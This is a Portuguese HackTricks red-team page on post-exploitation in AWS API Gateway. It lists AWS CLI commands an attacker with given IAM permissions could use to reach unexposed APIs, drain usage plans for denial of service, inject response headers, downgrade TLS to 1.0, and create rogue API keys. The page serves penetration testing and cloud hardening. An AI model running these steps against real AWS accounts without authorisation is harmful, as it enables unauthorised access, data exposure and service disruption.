AWS - API Gateway Post Exploitation

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

API Gateway

Para mais informações, consulte:

pageAWS - API Gateway Enum

Acessar APIs não expostas

Você pode criar um endpoint em https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint com o serviço com.amazonaws.us-east-1.execute-api, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões. Em seguida, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta anteriormente.

Planos de Uso DoS

Na seção de Enumeração você pode ver como obter o plano de uso das chaves. Se você tiver a chave e ela for limitada a X usos por mês, você poderia simplesmente usá-la e causar um DoS.

A Chave da API só precisa ser incluída dentro de um cabeçalho HTTP chamado x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateGatewayResponse e apigateway:CreateDeployment pode modificar uma Resposta de Gateway existente para incluir cabeçalhos personalizados ou modelos de resposta que vazam informações sensíveis ou executam scripts maliciosos.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado aos recursos da API.

Necessidade de teste

apigateway:UpdateStage, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateStage e apigateway:CreateDeployment pode modificar um estágio existente do API Gateway para redirecionar o tráfego para um estágio diferente ou alterar as configurações de cache para obter acesso não autorizado aos dados em cache.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Acesso não autorizado a dados em cache, interrupção ou interceptação do tráfego da API.

Necessidade de teste

apigateway:PutMethodResponse, apigateway:CreateDeployment

Um atacante com as permissões apigateway:PutMethodResponse e apigateway:CreateDeployment pode modificar a resposta do método de um método existente da API Gateway REST para incluir cabeçalhos personalizados ou modelos de resposta que vazam informações sensíveis ou executam scripts maliciosos.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado aos recursos da API.

Necessidade de teste

apigateway:UpdateRestApi, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateRestApi e apigateway:CreateDeployment pode modificar as configurações da API Gateway REST API para desativar o registro ou alterar a versão mínima do TLS, potencialmente enfraquecendo a segurança da API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Enfraquecimento da segurança da API, potencialmente permitindo acesso não autorizado ou exposição de informações sensíveis.

Necessidade de teste

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Um atacante com permissões apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan e apigateway:CreateUsagePlanKey pode criar novas chaves de API, associá-las a planos de uso e depois usar essas chaves para acessar APIs de forma não autorizada.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impacto Potencial: Acesso não autorizado aos recursos da API, contornando os controles de segurança.

Necessita de teste

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización